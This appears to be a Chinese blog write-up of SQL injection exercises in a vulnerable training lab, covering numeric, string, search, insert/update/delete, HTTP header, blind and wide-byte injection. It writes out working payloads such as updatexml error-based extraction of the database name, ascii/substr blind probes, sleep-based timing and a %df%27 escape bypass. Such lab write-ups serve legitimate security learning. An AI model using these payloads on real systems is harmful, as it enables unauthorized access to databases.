sql注入数字型post
bp抓包后修改下提交的数据即可
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143024991-1285206393.png)
字符型注入
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143048165-179756541.png)
输入
' 1 = 1#
搜索型
既然提示输入用户名的一部分猜想,使用的是sql中的like来进行匹配,这样使用%闭合即可
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143205420-106438902.png)
xx型注入
输入单引号返回提示
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143251110-1350800176.png)
所以闭合就是 '),接着遍历
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143307456-810610547.png)
insert/update注入
既然是插入语句,所以插入的内容一定是变量,所以我们直接闭合
ma' or updatexml(1,concat(0x7e,database()),0) or '
随便注册之后登录
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143500356-2145264563.png)
修改个人信息
既然是修改一定是使用update语句,所以我们构造一下闭合就行,输入的语句同上面一样
ma' or updatexml(1,concat(0x7e,database()),0) or '
delete
删除一个数据然后抓包看看
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143603424-523457797.png)
语句
id=68+or+updatexml(1,concat(0x7e,database()),0)
Http header注入
后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http请求头信息获取客户端的一些信息,比如useragent、accept字段等等,会对客户端的http请求头信息获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http头的sql注入漏洞,进入之后抓包
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143709749-1588997773.png)
传个单引号
发现有错误提示,那就继续使用上面的语句
盲注
输入了很多测试发现前面只有是用户名的时候才能返回信息
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143822785-1071315336.png)
输入or不行这里只能输入and
![](https://img2020.cnblogs.com/blog/1835640/202003/1835640-20200331143932862-552486577.png)
所以盲找下数据库首字母的ascii
kobe' and ascii(substr(database(),1,1))=112#
盲注(base on time)
kobe’ and sleep(5)#
宽字节注入
在后台单引号会被转义
kobe%df%27 or 1=1#